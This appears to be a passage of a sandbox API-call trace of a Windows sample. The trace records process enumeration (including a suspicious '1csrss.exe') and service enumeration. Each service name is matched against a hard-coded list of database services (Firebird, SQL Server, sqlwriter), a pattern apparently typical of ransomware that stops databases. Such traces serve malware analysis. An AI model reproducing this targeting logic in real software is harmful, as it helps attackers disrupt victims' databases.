lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.543] lstrlenW (lpString="svchost.exe") returned 11 [0304.543] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.544] lstrlenW (lpString="svchost.exe") returned 11 [0304.544] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0304.545] lstrlenW (lpString="dwm.exe") returned 7 [0304.545] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.545] lstrlenW (lpString="svchost.exe") returned 11 [0304.545] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.546] lstrlenW (lpString="svchost.exe") returned 11 [0304.546] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.547] lstrlenW (lpString="svchost.exe") returned 11 [0304.547] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.547] lstrlenW (lpString="svchost.exe") returned 11 [0304.547] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.548] lstrlenW (lpString="svchost.exe") returned 11 [0304.548] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.549] lstrlenW (lpString="svchost.exe") returned 11 [0304.549] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.549] lstrlenW (lpString="svchost.exe") returned 11 [0304.549] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.550] lstrlenW (lpString="svchost.exe") returned 11 [0304.550] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.551] lstrlenW (lpString="svchost.exe") returned 11 [0304.551] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.552] lstrlenW (lpString="svchost.exe") returned 11 [0304.552] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0304.552] lstrlenW (lpString="spoolsv.exe") returned 11 [0304.552] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0304.553] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0304.553] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0304.554] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0304.554] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0304.554] lstrlenW (lpString="Memory Compression") returned 18 [0304.554] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.555] lstrlenW (lpString="svchost.exe") returned 11 [0304.555] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0304.556] lstrlenW (lpString="audiodg.exe") returned 11 [0304.556] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0304.557] lstrlenW (lpString="sihost.exe") returned 10 [0304.557] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.557] lstrlenW (lpString="svchost.exe") returned 11 [0304.558] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0304.558] lstrlenW (lpString="taskhostw.exe") returned 13 [0304.558] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0304.559] lstrlenW (lpString="explorer.exe") returned 12 [0304.559] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0304.560] lstrlenW (lpString="SearchUI.exe") returned 12 [0304.560] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0304.560] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0304.560] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0304.561] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0304.561] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0304.562] lstrlenW (lpString="1csrss.exe") returned 10 [0304.562] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.562] lstrlenW (lpString="svchost.exe") returned 11 [0304.562] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0304.563] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0304.563] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0304.564] lstrlenW (lpString="svchost.exe") returned 11 [0304.564] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0304.564] lstrlenW (lpString="consent.exe") returned 11 [0304.564] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0304.565] CloseHandle (hObject=0x50c) returned 1 [0304.565] Sleep (dwMilliseconds=0x1f4) [0305.067] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddfc0 [0305.067] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0305.068] GetLastError () returned 0xea [0305.068] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0305.068] EnumServicesStatusExW (in: hSCManager=0x7ddfc0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0305.068] CloseServiceHandle (hSCObject=0x7ddfc0) returned 1 [0305.069] lstrlenW (lpString="Appinfo") returned 7 [0305.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0305.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0305.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0305.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0305.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0305.069] lstrlenW (lpString="AppXSvc") returned 7 [0305.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0305.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0305.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0305.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0305.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0305.069] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0305.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0305.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0305.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0305.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0305.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0305.069] lstrlenW (lpString="Audiosrv") returned 8 [0305.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0305.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0305.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0305.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0305.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0305.069] lstrlenW (lpString="BFE") returned 3 [0305.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0305.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0305.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0305.069] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0305.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0305.069] lstrlenW (lpString="BITS") returned 4 [0305.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0305.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0305.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0305.070] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0305.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0305.070] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0305.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0305.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0305.070] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0305.070] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0305.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0305.070] lstrlenW (lpString="CDPSvc") returned 6 [0305.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0305.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0305.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0305.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0305.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0305.070] lstrlenW (lpString="ClickToRunSvc") returned 13 [0305.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0305.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0305.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0305.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0305.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0305.070] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0305.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0305.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0305.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0305.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0305.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0305.070] lstrlenW (lpString="CryptSvc") returned 8 [0305.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0305.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0305.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0305.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0305.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0305.071] lstrlenW (lpString="DcomLaunch") returned 10 [0305.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0305.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0305.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0305.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0305.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0305.071] lstrlenW (lpString="DeviceAssociationService") returned 24 [0305.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0305.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0305.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0305.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0305.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0305.071] lstrlenW (lpString="Dhcp") returned 4 [0305.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0305.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0305.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0305.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0305.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0305.071] lstrlenW (lpString="Dnscache") returned 8 [0305.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0305.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0305.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0305.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0305.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0305.071] lstrlenW (lpString="DoSvc") returned 5 [0305.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0305.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0305.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0305.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0305.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0305.071] lstrlenW (lpString="DPS") returned 3 [0305.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0305.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0305.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0305.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0305.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0305.072] lstrlenW (lpString="DusmSvc") returned 7 [0305.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0305.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0305.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0305.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0305.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0305.072] lstrlenW (lpString="EventLog") returned 8 [0305.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0305.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0305.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0305.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0305.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0305.072] lstrlenW (lpString="EventSystem") returned 11 [0305.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0305.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0305.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0305.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0305.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0305.072] lstrlenW (lpString="FontCache") returned 9 [0305.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0305.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0305.072] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0305.072] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0305.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0305.072] lstrlenW (lpString="gpsvc") returned 5 [0305.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0305.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0305.072] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0305.072] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0305.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0305.073] lstrlenW (lpString="iphlpsvc") returned 8 [0305.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0305.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0305.073] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0305.073] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0305.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0305.073] lstrlenW (lpString="KeyIso") returned 6 [0305.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0305.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0305.073] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0305.073] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0305.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0305.073] lstrlenW (lpString="LanmanServer") returned 12 [0305.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0305.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0305.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0305.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0305.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0305.073] lstrlenW (lpString="LanmanWorkstation") returned 17 [0305.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0305.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0305.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0305.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0305.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0305.073] lstrlenW (lpString="lfsvc") returned 5 [0305.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0305.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0305.073] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0305.073] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0305.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0305.073] lstrlenW (lpString="lmhosts") returned 7 [0305.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0305.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0305.074] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0305.074] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0305.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0305.074] 